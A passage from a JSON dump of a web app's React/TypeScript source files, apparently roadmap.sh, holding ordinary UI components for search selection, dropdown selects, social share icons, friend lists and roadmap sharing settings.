items-center justify-center rounded-full bg-gray-200 text-sm text-gray-600\">\n              {index + 1}\n            </div>\n            <div className=\"flex flex-col gap-1\">\n              <p className=\"text-left text-base text-gray-800\">{step}</p>\n            </div>\n          </div>\n        ))}\n      </div>\n\n      <div className=\"mt-6 flex gap-2\">\n        <button\n          className=\"flex-1 rounded-md border border-gray-300 py-2 text-sm text-gray-600 hover:bg-gray-100 disabled:opacity-60 data-[loading='true']:cursor-progress\"\n          onClick={onCancel}\n          disabled={isLoading}\n        >\n          Go back\n        </button>\n        <button\n          className=\"flex-1 rounded-md bg-black py-2 text-sm text-white hover:bg-blue-700 disabled:opacity-60 data-[loading='true']:cursor-progress\"\n          onClick={onDownloadICS}\n          disabled={isLoading}\n          data-loading={isLoading}\n        >\n          Download\n        </button>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SearchSelector.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\n\nexport type OptionType = {\n  value: string;\n  label: string;\n};\n\nexport function SearchSelector({\n  options,\n  onSelect,\n  inputClassName,\n  searchInputId,\n  placeholder,\n}: {\n  options: OptionType[];\n  onSelect: (data: OptionType) => void;\n  inputClassName?: string;\n  searchInputId?: string;\n  placeholder?: string;\n}) {\n  const searchInputRef = useRef<HTMLInputElement>(null);\n  const dropdownRef = useRef<HTMLDivElement>(null);\n  const [isActive, setIsActive] = useState(false);\n  const [searchResults, setSearchResults] = useState<OptionType[]>([]);\n  const [searchedText, setSearchedText] = useState('');\n  const [activeCounter, setActiveCounter] = useState(0);\n\n  useEffect(() => {\n    if (searchedText.length === 0) {\n      setSearchResults(options.slice(0, 5));\n      return;\n    }\n\n    setIsActive(true);\n    const normalizedSearchedText = searchedText.trim().toLowerCase();\n    const results = options\n      .filter((data) => {\n        return data.label.toLowerCase().indexOf(normalizedSearchedText) !== -1;\n      })\n      .slice(0, 5);\n\n    setSearchResults(results);\n    setActiveCounter(0);\n  }, [searchedText]);\n\n  useEffect(() => {\n    setSearchResults(options.slice(0, 5));\n  }, [options]);\n\n  useEffect(() => {\n    if (isActive) {\n      const handleOutsideClick = (e: MouseEvent) => {\n        if (\n          dropdownRef.current &&\n          !dropdownRef.current.contains(e.target as Node) &&\n          searchInputRef.current &&\n          !searchInputRef.current.contains(e.target as Node)\n        ) {\n          setIsActive(false);\n          setSearchedText('');\n          setSearchResults(options.slice(0, 5));\n        }\n      };\n\n      document.addEventListener('mousedown', handleOutsideClick);\n\n      return () => {\n        document.removeEventListener('mousedown', handleOutsideClick);\n      };\n    }\n  }, [isActive]);\n\n  return (\n    <div className=\"relative\">\n      <input\n        ref={searchInputRef}\n        type=\"text\"\n        id={searchInputId}\n        value={searchedText}\n        className={`w-full ${inputClassName}`}\n        placeholder={placeholder}\n        autoComplete=\"off\"\n        onInput={(e) => {\n          const value = (e.target as HTMLInputElement).value.trim();\n          setSearchedText(value);\n        }}\n        onFocus={() => {\n          setIsActive(true);\n          setSearchResults(options.slice(0, 5));\n        }}\n        onKeyDown={(e) => {\n          if (e.key === 'ArrowDown') {\n            const canGoNext = activeCounter < searchResults.length - 1;\n            setActiveCounter(canGoNext ? activeCounter + 1 : 0);\n          } else if (e.key === 'ArrowUp') {\n            const canGoPrev = activeCounter > 0;\n            setActiveCounter(\n              canGoPrev ? activeCounter - 1 : searchResults.length - 1\n            );\n          } else if (e.key === 'Tab') {\n            if (isActive) {\n              e.preventDefault();\n            }\n          } else if (e.key === 'Escape') {\n            setSearchedText('');\n            setIsActive(false);\n          } else if (e.key === 'Enter') {\n            e.preventDefault();\n            const activeData = searchResults[activeCounter];\n            if (activeData) {\n              onSelect(activeData);\n              setSearchedText('');\n              setIsActive(false);\n            }\n          }\n        }}\n      />\n\n      {isActive && (\n        <div\n          className=\"absolute top-full z-50 mt-2 w-full rounded-md bg-gray-100 px-2 py-2\"\n          ref={dropdownRef}\n        >\n          <div className=\"flex flex-col\">\n            {searchResults.length === 0 && (\n              <div className=\"p-5 text-center text-sm text-gray-400\">\n                No results found\n              </div>\n            )}\n\n            {searchResults.map((result, counter) => {\n              return (\n                <>\n                  <button\n                    type=\"button\"\n                    className={`flex w-full items-center rounded p-2 text-sm ${\n                      counter === activeCounter ? 'bg-gray-200' : ''\n                    }`}\n                    onMouseOver={() => setActiveCounter(counter)}\n                    onClick={() => {\n                      onSelect(result);\n                      setSearchedText('');\n                      setIsActive(false);\n                    }}\n                  >\n                    {result.label}\n                  </button>\n                </>\n              );\n            })}\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Select.tsx",
    "content": "import * as React from 'react';\nimport { Select as SelectPrimitive } from 'radix-ui';\nimport { CheckIcon, ChevronDownIcon, ChevronUpIcon } from 'lucide-react';\nimport { cn } from '../lib/classname';\n\nfunction Select({\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.Root>) {\n  return <SelectPrimitive.Root data-slot=\"select\" {...props} />;\n}\n\nfunction SelectGroup({\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.Group>) {\n  return <SelectPrimitive.Group data-slot=\"select-group\" {...props} />;\n}\n\nfunction SelectValue({\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.Value>) {\n  return <SelectPrimitive.Value data-slot=\"select-value\" {...props} />;\n}\n\nfunction SelectTrigger({\n  className,\n  size = 'default',\n  children,\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.Trigger> & {\n  size?: 'sm' | 'default';\n}) {\n  return (\n    <SelectPrimitive.Trigger\n      data-slot=\"select-trigger\"\n      data-size={size}\n      className={cn(\n        \"flex h-9 w-full items-center justify-between gap-2 rounded-lg border bg-transparent px-3 py-2 text-sm whitespace-nowrap outline-none disabled:cursor-not-allowed disabled:opacity-50 *:data-[slot=select-value]:line-clamp-1 *:data-[slot=select-value]:flex *:data-[slot=select-value]:items-center *:data-[slot=select-value]:gap-2 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4\",\n        className,\n      )}\n      {...props}\n    >\n      {children}\n      <SelectPrimitive.Icon asChild>\n        <ChevronDownIcon className=\"size-4 opacity-50\" />\n      </SelectPrimitive.Icon>\n    </SelectPrimitive.Trigger>\n  );\n}\n\nfunction SelectContent({\n  className,\n  children,\n  position = 'popper',\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.Content>) {\n  return (\n    <SelectPrimitive.Portal>\n      <SelectPrimitive.Content\n        data-slot=\"select-content\"\n        className={cn(\n          'relative z-50 max-h-(--radix-select-content-available-height) min-w-[8rem] origin-(--radix-select-content-transform-origin) overflow-x-hidden overflow-y-auto rounded-lg border bg-white shadow-md',\n          position === 'popper' &&\n            'data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1',\n          className,\n        )}\n        position={position}\n        {...props}\n      >\n        <SelectScrollUpButton />\n        <SelectPrimitive.Viewport\n          className={cn(\n            'p-1',\n            position === 'popper' &&\n              'h-[var(--radix-select-trigger-height)] w-full min-w-[var(--radix-select-trigger-width)] scroll-my-1',\n          )}\n        >\n          {children}\n        </SelectPrimitive.Viewport>\n        <SelectScrollDownButton />\n      </SelectPrimitive.Content>\n    </SelectPrimitive.Portal>\n  );\n}\n\nfunction SelectLabel({\n  className,\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.Label>) {\n  return (\n    <SelectPrimitive.Label\n      data-slot=\"select-label\"\n      className={cn('px-2 py-1.5 text-xs', className)}\n      {...props}\n    />\n  );\n}\n\nfunction SelectItem({\n  className,\n  children,\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.Item>) {\n  return (\n    <SelectPrimitive.Item\n      data-slot=\"select-item\"\n      className={cn(\n        \"relative flex w-full cursor-default items-center gap-2 rounded-md py-1.5 pr-8 pl-2 text-sm outline-hidden select-none focus:bg-gray-100 focus:text-black data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2\",\n        className,\n      )}\n      {...props}\n    >\n      <span className=\"absolute right-2 flex size-3.5 items-center justify-center\">\n        <SelectPrimitive.ItemIndicator>\n          <CheckIcon className=\"size-4\" />\n        </SelectPrimitive.ItemIndicator>\n      </span>\n      <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>\n    </SelectPrimitive.Item>\n  );\n}\n\nfunction SelectSeparator({\n  className,\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.Separator>) {\n  return (\n    <SelectPrimitive.Separator\n      data-slot=\"select-separator\"\n      className={cn(\n        'pointer-events-none -mx-1 my-1 h-px bg-gray-200',\n        className,\n      )}\n      {...props}\n    />\n  );\n}\n\nfunction SelectScrollUpButton({\n  className,\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.ScrollUpButton>) {\n  return (\n    <SelectPrimitive.ScrollUpButton\n      data-slot=\"select-scroll-up-button\"\n      className={cn(\n        'flex cursor-default items-center justify-center py-1',\n        className,\n      )}\n      {...props}\n    >\n      <ChevronUpIcon className=\"size-4\" />\n    </SelectPrimitive.ScrollUpButton>\n  );\n}\n\nfunction SelectScrollDownButton({\n  className,\n  ...props\n}: React.ComponentProps<typeof SelectPrimitive.ScrollDownButton>) {\n  return (\n    <SelectPrimitive.ScrollDownButton\n      data-slot=\"select-scroll-down-button\"\n      className={cn(\n        'flex cursor-default items-center justify-center py-1',\n        className,\n      )}\n      {...props}\n    >\n      <ChevronDownIcon className=\"size-4\" />\n    </SelectPrimitive.ScrollDownButton>\n  );\n}\n\nexport {\n  Select,\n  SelectContent,\n  SelectGroup,\n  SelectItem,\n  SelectLabel,\n  SelectScrollDownButton,\n  SelectScrollUpButton,\n  SelectSeparator,\n  SelectTrigger,\n  SelectValue,\n};\n"
  },
  {
    "path": "src/components/SelectNative.tsx",
    "content": "import { ChevronDownIcon } from 'lucide-react';\nimport * as React from 'react';\n\nimport { cn } from '../lib/classname';\n\nexport function SelectNative(props: React.ComponentProps<'select'>) {\n  const { className, children, ...rest } = props;\n  return (\n    <div className=\"relative flex\">\n      <select\n        data-slot=\"select-native\"\n        className={cn(\n          'peer inline-flex w-full cursor-pointer appearance-none items-center rounded-lg border border-gray-200 text-sm text-black outline-none focus-visible:border-gray-500 disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50 has-[option[disabled]:checked]:text-gray-500 aria-invalid:border-red-500 aria-invalid:ring-red-500/20 dark:aria-invalid:ring-red-500/40',\n          props.multiple\n            ? '[&_option:checked]:bg-accent py-1 *:px-3 *:py-1'\n            : 'h-9 ps-3 pe-8',\n          className,\n        )}\n        {...rest}\n      >\n        {children}\n      </select>\n      {!props.multiple && (\n        <span className=\"pointer-events-none absolute inset-y-0 end-0 flex h-full w-9 items-center justify-center text-gray-500/80 peer-disabled:opacity-50 peer-aria-invalid:text-red-500/80\">\n          <ChevronDownIcon size={16} aria-hidden=\"true\" />\n        </span>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ShareIcons/ShareIcons.tsx",
    "content": "import { useEffect, useRef } from 'react';\nimport { cn } from '../../lib/classname';\nimport { FacebookIcon } from '../ReactIcons/FacebookIcon';\nimport { HackerNewsIcon } from '../ReactIcons/HackerNewsIcon';\nimport { RedditIcon } from '../ReactIcons/RedditIcon';\nimport { TwitterIcon } from '../ReactIcons/TwitterIcon';\n\ntype ShareIconsProps = {\n  resourceId: string;\n  resourceType: string;\n  pageUrl: string;\n  description: string;\n};\n\nexport function ShareIcons(props: ShareIconsProps) {\n  const { pageUrl, description, resourceType, resourceId } = props;\n\n  const shareIconsRef = useRef<HTMLDivElement>(null);\n\n  const twitterUrl = `https://twitter.com/intent/tweet?text=${description}&url=${pageUrl}`;\n  const fbUrl = `https://www.facebook.com/sharer/sharer.php?quote=${description}&u=${pageUrl}`;\n  const hnUrl = `https://news.ycombinator.com/submitlink?t=${description}&u=${pageUrl}`;\n  const redditUrl = `https://www.reddit.com/submit?title=${description}&url=${pageUrl}`;\n\n  const icons = [\n    {\n      url: twitterUrl,\n      icon: (\n        <TwitterIcon\n          className=\"size-[24px] [&>path]:fill-[#E5E5E5]\"\n          boxColor=\"currentColor\"\n        />\n      ),\n    },\n    {\n      url: fbUrl,\n      icon: <FacebookIcon className=\"size-[26px]\" />,\n    },\n    {\n      url: hnUrl,\n      icon: <HackerNewsIcon className=\"size-[26px]\" />,\n    },\n    {\n      url: redditUrl,\n      icon: <RedditIcon className=\"size-[26px]\" />,\n    },\n  ];\n\n  useEffect(() => {\n    const shareIcons = shareIconsRef.current;\n    if (!shareIcons) {\n      return;\n    }\n\n    const onScroll = () => {\n      if (window.scrollY < 100 || window.innerWidth < 1050) {\n        shareIcons.classList.add('hidden');\n        return null;\n      }\n\n      shareIcons.classList.remove('hidden');\n    };\n\n    onScroll();\n\n    window.addEventListener('scroll', onScroll);\n    return () => {\n      window.removeEventListener('scroll', onScroll);\n    };\n  }, []);\n\n  return (\n    <div\n      className=\"absolute left-[-18px] top-[110px] hidden h-full\"\n      ref={shareIconsRef}\n    >\n      <div className=\"sticky top-[100px] flex flex-col items-center gap-1.5\">\n        {icons.map((icon, index) => {\n          const host = new URL(icon.url).host;\n\n          return (\n            <a\n              key={index}\n              href={icon.url}\n              target=\"_blank\"\n              className={cn(\n                'text-gray-500 hover:text-gray-700',\n                index === 0 && 'mt-0.5',\n              )}\n              onClick={() => {\n                window.fireEvent({\n                  category: 'RoadmapShareLink',\n                  action: `Share Roadmap / ${resourceType} / ${resourceId} / ${host}`,\n                  label: icon.url,\n                });\n              }}\n            >\n              {icon.icon}\n            </a>\n          );\n        })}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ShareOptions/ShareFriendList.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { UserItem } from './UserItem';\nimport { Check, Copy, Group, UserPlus2, Users2 } from 'lucide-react';\nimport { httpGet } from '../../lib/http';\nimport { getUser } from '../../lib/jwt.ts';\nimport { useCopyText } from '../../hooks/use-copy-text.ts';\nimport { cn } from '../../lib/classname.ts';\n\nexport type FriendshipStatus =\n  | 'none'\n  | 'sent'\n  | 'received'\n  | 'accepted'\n  | 'rejected'\n  | 'got_rejected';\n\ntype FriendResourceProgress = {\n  updatedAt: string;\n  title: string;\n  resourceId: string;\n  resourceType: string;\n  learning: number;\n  skipped: number;\n  done: number;\n  total: number;\n};\n\nexport type ListFriendsResponse = {\n  userId: string;\n  name: string;\n  email: string;\n  avatar: string;\n  status: FriendshipStatus;\n  roadmaps: FriendResourceProgress[];\n  bestPractices: FriendResourceProgress[];\n}[];\n\ntype ShareFriendListProps = {\n  setFriends: (friends: ListFriendsResponse) => void;\n  friends: ListFriendsResponse;\n  sharedFriendIds: string[];\n  setSharedFriendIds: (friendIds: string[]) => void;\n};\n\nexport function ShareFriendList(props: ShareFriendListProps) {\n  const userId = getUser()?.id!;\n  const { setFriends, friends, sharedFriendIds, setSharedFriendIds } = props;\n  const toast = useToast();\n\n  const { isCopied, copyText } = useCopyText();\n  const [isLoading, setIsLoading] = useState(true);\n  const [isAddingFriend, setIsAddingFriend] = useState(false);\n\n  async function loadFriends() {\n    if (friends.length > 0) {\n      return;\n    }\n\n    setIsLoading(true);\n    const { response, error } = await httpGet<ListFriendsResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-list-friends`,\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setFriends(response.filter((friend) => friend.status === 'accepted'));\n  }\n\n  useEffect(() => {\n    loadFriends().finally(() => {\n      setIsLoading(false);\n    });\n  }, []);\n\n  const loadingFriends = isLoading && (\n    <ul className=\"mt-2 grid grid-cols-3 gap-1.5\">\n      {[...Array(3)].map((_, idx) => (\n        <li\n          key={idx}\n          className=\"flex animate-pulse items-center gap-2.5 rounded-md border p-2\"\n        >\n          <div className=\"relative top-[1px] h-10 w-10 shrink-0 rounded-full bg-gray-200\" />\n          <div className=\"inline-grid w-full\">\n            <div className=\"h-5 w-2/4 rounded-sm bg-gray-200\" />\n            <div className=\"mt-1 h-5 w-3/4 rounded-sm bg-gray-200\" />\n          </div>\n        </li>\n      ))}\n    </ul>\n  );\n\n  const isDev = import.meta.env.DEV;\n  const baseWebUrl = isDev ? 'http://localhost:3000' : 'https://roadmap.sh';\n  const befriendUrl = `${baseWebUrl}/befriend?u=${userId}`;\n\n  return (\n    <>\n      {(friends.length > 0 || isLoading) && (\n        <div className=\"flex items-center justify-between gap-2\">\n          <p className=\"text-sm\">Select Friends to share the roadmap with</p>\n\n          <label className=\"flex items-center gap-2 text-sm\">\n            <input\n              type=\"checkbox\"\n              checked={sharedFriendIds.length === friends.length}\n              onChange={(e) => {\n                if (e.target.checked) {\n                  setSharedFriendIds(friends.map((f) => f.userId));\n                } else {\n                  setSharedFriendIds([]);\n                }\n              }}\n            />\n            <span className=\"text-sm\">Select all</span>\n          </label>\n        </div>\n      )}\n\n      {loadingFriends}\n      {friends.length > 0 && !isLoading && (\n        <>\n          <ul className=\"mt-2 grid grid-cols-3 gap-1.5\">\n            {friends.map((friend) => {\n              const isSelected = sharedFriendIds?.includes(friend.userId);\n              return (\n                <li key={friend.userId}>\n                  <UserItem\n                    user={{\n                      name: friend.name,\n                      avatar: friend.avatar,\n                      email: friend.email,\n                    }}\n                    isSelected={isSelected}\n                    onClick={() => {\n                      if (isSelected) {\n                        setSharedFriendIds(\n                          sharedFriendIds.filter((id) => id !== friend.userId),\n                        );\n                      } else {\n                        setSharedFriendIds([...sharedFriendIds, friend.userId]);\n                      }\n                    }}\n                  />\n                </li>\n              );\n            })}\n          </ul>\n          {!isAddingFriend && (\n            <p className=\"mt-6 text-sm text-gray-600\">\n              Don't see a Friend?{' '}\n              <button\n                onClick={() => {\n                  setIsAddingFriend(true);\n                }}\n                className=\"font-semibold text-gray-900 underline\"\n              >\n                Add them\n              </button>\n            </p>\n          )}\n          {isAddingFriend && (\n            <div className=\"-mx-4 -mb-4 mt-6 border-t bg-gray-50 px-4 py-4\">\n              <p className=\"mb-1.5 flex items-center gap-1 text-sm text-gray-800\">\n                <UserPlus2 className=\"text-gray-500\" size=\"20px\" />\n                Share the link below with your friends to invite them\n              </p>\n              <div className=\"relative\">\n                <input\n                  readOnly\n                  type=\"text\"\n                  value={befriendUrl}\n                  onClick={(e) => {\n                    e.preventDefault();\n                    (e.target as HTMLInputElement).select();\n                    copyText(befriendUrl);\n                  }}\n                  className={cn(\n                    'w-full rounded-md border px-2 py-2 text-sm focus:shadow-none focus:outline-0',\n                    {\n                      'border-green-400 bg-green-50': isCopied,\n                    },\n                  )}\n                />\n                <button\n                  onClick={() => copyText(befriendUrl)}\n                  className=\"absolute bottom-0 right-0 top-0 flex items-center px-2.5\"\n                >\n                  {isCopied ? (\n                    <span className=\"flex items-center gap-1 text-sm font-medium text-green-600\">\n                      <Check className=\"text-green-600\" size=\"18px\" /> Copied\n                    </span>\n                  ) : (\n                    <Copy className=\"text-gray-400\" size=\"18px\" />\n                  )}\n                </button>\n              </div>\n            </div>\n          )}\n        </>\n      )}\n\n      {friends.length === 0 && !isLoading && (\n        <div className=\"flex h-full grow flex-col items-center justify-center rounded-md border bg-gray-50 text-center\">\n          <Users2 className=\"mb-3 h-10 w-10 text-gray-300\" />\n          <p className=\"font-medium text-gray-500\">\n            You do not have any friends yet. <br />{' '}\n            <a\n              target=\"_blank\"\n              className=\"underline underline-offset-2 text-sm\"\n              href={`/account/friends`}\n            >\n              Invite your friends to share roadmaps with.\n            </a>\n          </p>\n        </div>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/ShareOptions/ShareOptionsModal.tsx",
    "content": "import { type ReactNode, useCallback, useState, useMemo } from 'react';\nimport { Globe2, Loader2, Lock } from 'lucide-react';\nimport { type ListFriendsResponse, ShareFriendList } from './ShareFriendList';\nimport { TransferToTeamList } from './TransferToTeamList';\nimport { ShareOptionTabs } from './ShareOptionsTab';\nimport {\n  ShareTeamMemberList,\n  type TeamMemberList,\n} from './ShareTeamMemberList';\nimport { ShareSuccess } from './ShareSuccess';\nimport { useToast } from '../../hooks/use-toast';\nimport type { AllowedRoadmapVisibility } from '../CustomRoadmap/CreateRoadmap/CreateRoadmapModal';\nimport { httpPatch } from '../../lib/http';\nimport { Modal } from '../Modal';\nimport { cn } from '../../lib/classname';\nimport type { UserTeamItem } from '../TeamDropdown/TeamDropdown';\n\nexport type OnShareSettingsUpdate = (options: {\n  isDiscoverable: boolean;\n  visibility: AllowedRoadmapVisibility;\n  sharedTeamMemberIds: string[];\n  sharedFriendIds: string[];\n}) => void;\n\ntype ShareOptionsModalProps = {\n  onClose: () => void;\n  visibility: AllowedRoadmapVisibility;\n  isDiscoverable?: boolean;\n  sharedFriendIds?: string[];\n  sharedTeamMemberIds?: string[];\n  teamId?: string;\n  roadmapId?: string;\n  description?: string;\n  roadmapSlug?: string;\n\n  onShareSettingsUpdate: OnShareSettingsUpdate;\n};\n\nexport function ShareOptionsModal(props: ShareOptionsModalProps) {\n  const {\n    roadmapId,\n    roadmapSlug,\n    onClose,\n    isDiscoverable: defaultIsDiscoverable = false,\n    visibility: defaultVisibility,\n    sharedTeamMemberIds: defaultSharedMemberIds = [],\n    sharedFriendIds: defaultSharedFriendIds = [],\n    teamId,\n    onShareSettingsUpdate,\n    description,\n  } = props;\n\n  const toast = useToast();\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [isTransferringToTeam, setIsTransferringToTeam] = useState(false);\n  const [isSettingsUpdated, setIsSettingsUpdated] = useState(false);\n  const [friends, setFriends] = useState<ListFriendsResponse>([]);\n  const [teams, setTeams] = useState<UserTeamItem[]>([]);\n\n  // Using global team members loading state to avoid glitchy UI when switching between teams\n  const [isTeamMembersLoading, setIsTeamMembersLoading] = useState(false);\n  const membersCache = useMemo(() => new Map<string, TeamMemberList[]>(), []);\n\n  const [visibility, setVisibility] = useState(defaultVisibility);\n  const [isDiscoverable, setIsDiscoverable] = useState(defaultIsDiscoverable);\n  const [sharedTeamMemberIds, setSharedTeamMemberIds] = useState<string[]>(\n    defaultSharedMemberIds,\n  );\n  const [sharedFriendIds, setSharedFriendIds] = useState<string[]>(\n    defaultSharedFriendIds,\n  );\n  const [selectedTeamId, setSelectedTeamId] = useState<string | null>(null);\n\n  let isUpdateDisabled = false;\n  // Disable update button if there are no friends to share with\n  if (visibility === 'friends' && sharedFriendIds.length === 0) {\n    isUpdateDisabled = true;\n    // Disable update button if there are no team to transfer\n  } else if (isTransferringToTeam && !selectedTeamId) {\n    isUpdateDisabled = true;\n    // Disable update button if there are no members to share with\n  } else if (\n    visibility === 'team' &&\n    teamId &&\n    sharedTeamMemberIds.length === 0\n  ) {\n    isUpdateDisabled = true;\n  }\n\n  const handleShareChange: OnShareSettingsUpdate = async ({\n    sharedFriendIds,\n    visibility,\n    sharedTeamMemberIds,\n  }) => {\n    setIsLoading(true);\n\n    if (visibility === 'friends' && sharedFriendIds.length === 0) {\n      toast.error('Please select at least one friend');\n      return;\n    } else if (\n      visibility === 'team' &&\n      teamId &&\n      sharedTeamMemberIds.length === 0\n    ) {\n      toast.error('Please select at least one member');\n      return;\n    }\n\n    const { response, error } = await httpPatch(\n      `${\n        import.meta.env.PUBLIC_API_URL\n      }/v1-update-roadmap-visibility/${roadmapId}`,\n      {\n        visibility,\n        sharedFriendIds,\n        sharedTeamMemberIds,\n        isDiscoverable,\n      },\n    );\n\n    if (error) {\n      toast.error(error?.message || 'Something went wrong, please try again');\n      return;\n    }\n\n    setIsLoading(false);\n    setIsSettingsUpdated(true);\n    onShareSettingsUpdate({\n      isDiscoverable,\n      sharedFriendIds,\n      visibility,\n      sharedTeamMemberIds,\n    });\n  };\n\n  const handleTransferToTeam = useCallback(\n    async (teamId: string, sharedTeamMemberIds: string[]) => {\n      if (!roadmapId) {\n        return;\n      }\n\n      setIsLoading(true);\n      const { response, error } = await httpPatch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-transfer-roadmap/${roadmapId}`,\n        {\n          teamId,\n          sharedTeamMemberIds,\n          isDiscoverable,\n        },\n      );\n\n      if (error) {\n        setIsLoading(false);\n        toast.error(error?.message || 'Something went wrong, please try again');\n        return;\n      }\n\n      window.location.reload();\n    },\n    [roadmapId],\n  );\n\n  if (isSettingsUpdated) {\n    return (\n      <Modal\n        onClose={onClose}\n        wrapperClassName=\"max-w-lg\"\n        bodyClassName=\"p-4 flex flex-col\"\n      >\n        <ShareSuccess\n          roadmapSlug={roadmapSlug}\n          visibility={visibility}\n          roadmapId={roadmapId!}\n          description={description}\n          onClose={onClose}\n        />\n      </Modal>\n    );\n  }\n\n  return (\n    <Modal\n      onClose={() => {\n        if (isLoading) {\n          return;\n        }\n        onClose();\n      }}\n      wrapperClassName=\"max-w-3xl\"\n      bodyClassName=\"p-4 flex flex-col min-h-[440px]\"\n    >\n      <div className=\"mb-4\">\n        <h3 className=\"mb-1 text-xl font-semibold\">Update Sharing Settings</h3>\n        <p className=\"text-sm text-gray-500\">\n          Pick and modify who can access this roadmap.\n        </p>\n      </div>\n\n      <ShareOptionTabs\n        isTransferringToTeam={isTransferringToTeam}\n        setIsTransferringToTeam={setIsTransferringToTeam}\n        visibility={visibility}\n        setVisibility={setVisibility}\n        teamId={teamId}\n        onChange={(visibility) => {\n          setSelectedTeamId(null);\n\n          if (['me', 'public'].includes(visibility)) {\n            setSharedTeamMemberIds([]);\n            setSharedFriendIds([]);\n          } else if (visibility === 'friends') {\n            setSharedFriendIds(\n              defaultSharedFriendIds.length > 0 ? defaultSharedFriendIds : [],\n            );\n          } else if (visibility === 'team' && teamId) {\n            setSharedTeamMemberIds(\n              defaultSharedMemberIds?.length > 0 ? defaultSharedMemberIds : [],\n            );\n            setSharedFriendIds([]);\n          } else {\n            setSharedFriendIds([]);\n            setSharedTeamMemberIds([]);\n          }\n\n          setIsDiscoverable(visibility === 'public');\n        }}\n      />\n\n      <div className=\"mt-4 flex grow flex-col\">\n        {!isTransferringToTeam && (\n          <>\n            {visibility === 'public' && (\n              <div className=\"flex h-full grow flex-col items-center justify-center rounded-md border bg-gray-50 text-center\">\n                <Globe2 className=\"mb-3 h-10 w-10 text-gray-300\" />\n                <p className=\"font-medium text-gray-500\">\n                  Anyone with the link can access.\n                </p>\n              </div>\n            )}\n            {visibility === 'me' && (\n              <div className=\"flex h-full grow flex-col items-center justify-center rounded-md border bg-gray-50 text-center\">\n                <Lock className=\"mb-3 h-10 w-10 text-gray-300\" />\n                <p className=\"font-medium text-gray-500\">\n                  Only you will be able to access.\n                </p>\n              </div>\n            )}\n            {/* For Personal Roadmap */}\n            {visibility === 'friends' && (\n              <ShareFriendList\n                friends={friends}\n                setFriends={setFriends}\n                sharedFriendIds={sharedFriendIds}\n                setSharedFriendIds={setSharedFriendIds}\n              />\n            )}\n\n            {/* For Team Roadmap */}\n            {visibility === 'team' && teamId && (\n              <ShareTeamMemberList\n                teamId={teamId}\n                sharedTeamMemberIds={sharedTeamMemberIds}\n                setSharedTeamMemberIds={setSharedTeamMemberIds}\n                membersCache={membersCache}\n                isTeamMembersLoading={isTeamMembersLoading}\n                setIsTeamMembersLoading={setIsTeamMembersLoading}\n              />\n            )}\n          </>\n        )}\n\n        {isTransferringToTeam && (\n          <>\n            <TransferToTeamList\n              currentTeamId={teamId}\n              teams={teams}\n              setTeams={setTeams}\n              selectedTeamId={selectedTeamId}\n              setSelectedTeamId={setSelectedTeamId}\n              isTeamMembersLoading={isTeamMembersLoading}\n              setIsTeamMembersLoading={setIsTeamMembersLoading}\n              onTeamChange={() => {\n                setSharedTeamMemberIds([]);\n              }}\n            />\n            {selectedTeamId && (\n              <>\n                <hr className=\"-mx-4 my-4\" />\n                <div className=\"mb-4\">\n                  <ShareTeamMemberList\n                    title=\"Select who can access this roadmap. You can change this later.\"\n                    teamId={selectedTeamId!}\n                    sharedTeamMemberIds={sharedTeamMemberIds}\n                    setSharedTeamMemberIds={setSharedTeamMemberIds}\n                    membersCache={membersCache}\n                    isTeamMembersLoading={isTeamMembersLoading}\n                    setIsTeamMembersLoading={setIsTeamMembersLoading}\n                  />\n                </div>\n              </>\n            )}\n          </>\n        )}\n      </div>\n\n      {visibility !== 'me' && (\n        <>\n          <hr className=\"-mx-4 my-4\" />\n          <div className=\"mb-2\">\n            <DiscoveryCheckbox\n              isDiscoverable={isDiscoverable}\n              setIsDiscoverable={setIsDiscoverable}\n            />\n          </div>\n        </>\n      )}\n\n      <div className=\"mt-2 flex items-center justify-between gap-1.5\">\n        <button\n          className=\"flex items-center justify-center gap-1.5 rounded-md border px-3.5 py-1.5 hover:bg-gray-100 disabled:cursor-not-allowed disabled:opacity-75\"\n          disabled={isLoading}\n          onClick={onClose}\n        >\n          Close\n        </button>\n\n        {isTransferringToTeam && (\n          <UpdateAction\n            disabled={\n              isUpdateDisabled || isLoading || sharedTeamMemberIds.length === 0\n            }\n            onClick={() => {\n              handleTransferToTeam(selectedTeamId!, sharedTeamMemberIds).then(\n                () => null,\n              );\n            }}\n          >\n            {isLoading && <Loader2 className=\"h-4 w-4 animate-spin\" />}\n            Transfer\n          </UpdateAction>\n        )}\n\n        {!isTransferringToTeam && (\n          <UpdateAction\n            disabled={isUpdateDisabled || isLoading}\n            onClick={() => {\n              handleShareChange({\n                isDiscoverable,\n                visibility,\n                sharedTeamMemberIds:\n                  visibility === 'team' ? sharedTeamMemberIds : [],\n                sharedFriendIds:\n                  visibility === 'friends' ? sharedFriendIds : [],\n              });\n            }}\n          >\n            {isLoading && <Loader2 className=\"h-4 w-4 